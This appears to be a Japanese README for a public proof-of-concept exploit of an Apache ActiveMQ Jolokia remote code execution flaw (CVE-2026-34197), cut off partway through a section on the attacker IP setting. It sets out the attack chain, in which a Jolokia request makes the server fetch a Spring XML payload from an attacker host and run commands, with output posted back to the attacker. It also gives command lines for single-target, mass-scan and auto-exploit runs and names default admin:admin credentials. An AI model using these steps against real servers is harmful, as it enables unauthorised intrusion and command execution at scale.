
Apache ActiveMQ の Jolokia API を介した RCE のエクスプロイト(CVE-2026-34197)。コマンド出力のキャプチャ、大量スキャン、自動エクスプロイトに対応。
概要 • 詳細 • 攻撃フロー • クイックスタート • ATTACKER_IP ガイド • 使用方法 • 出力キャプチャ • スキャナー • ハンティング • 検出 • 対策
CVE-2026-34197 は、Apache ActiveMQ Classic における重大なリモートコード実行(RCE)脆弱性であり、認証済みの攻撃者が Web コンソールで公開されている Jolokia API を介して任意のオペレーティングシステムコマンドを実行できるものです。
この脆弱性は 13 年以上 にわたって存在しており、Jolokia(HTTP-JMX ブリッジ)、ActiveMQ MBeans、ネットワークコネクタ、および VM トランスポート間の相互作用に起因します。
[!CAUTION] これは KONDOR DEV SECURITY によって開発された 最初の公開 PoC です。認可されたセキュリティ評価でのみ使用してください。
id、whoami、cat /etc/passwd)の出力がターミナルに自動的に表示されますversion_check.py)— マルチスレッドによるバージョン検出 + 対象を絞った悪用| CVE ID | CVE-2026-34197 |
| 深刻度 | |
| タイプ | リモートコード実行(RCE) |
| CWE | CWE-20(不適切な入力検証)/ CWE-94(コードインジェクション) |
| 影響を受けるバージョン | ActiveMQ Classic < 5.19.4 および 6.0.0 — 6.2.2 |
| 修正済みバージョン | 5.19.4 / 6.2.3 |
| 認証が必要 | はい(デフォルト認証情報 admin:admin が一般的です) |
| 認証不要 | 6.0.0 — 6.1.1(CVE-2024-32114 による) |
| デフォルトポート | 8161(Web コンソール) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### ステップバイステップの内訳
| ステップ | アクション | コンポーネント |
|:----:|--------|-----------|
| **1** | 攻撃者が `/api/jolokia/` にPOSTを送信し、Broker MBean上で `addNetworkConnector` を呼び出す | Jolokia API |
| **2** | ActiveMQが `vm://` トランスポートURIを処理し、`brokerConfig` がリモートURLを指す一時的なブローカーを作成する | VMトランスポート |
| **3** | `xbean:` スキームが、攻撃者のサーバーからのSpring XML設定ファイルのダウンロードをトリガーする | Spring / XBean |
| **4** | SpringがXML内のすべてのBeanをインスタンス化し、その中には `Runtime.getRuntime().exec()` を呼び出すものも含まれる | Springコンテキスト |
| **5** | 単純なコマンドの場合、出力がキャプチャされ、HTTP POST経由で攻撃者のリスナーに送り返される(自動) | 出力キャプチャ |
---
## プロジェクト構造```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### ラボ環境(Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### スキャナー + 自動エクスプロイト(大量のターゲットに推奨)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP(-l / --lhost)について-l(または --lhost)パラメータは、エクスプロイトが機能するために極めて重要です。これは、悪意のあるSpring XMLペイロードを配信するためにあなたのマシンが使用するIPアドレスを指定します。ターゲットのActiveMQサーバーは、ペイロードをダウンロードするために、ネットワーク経由でこのIPに到達できる必要があります。
ATTACKER_IPとは何か?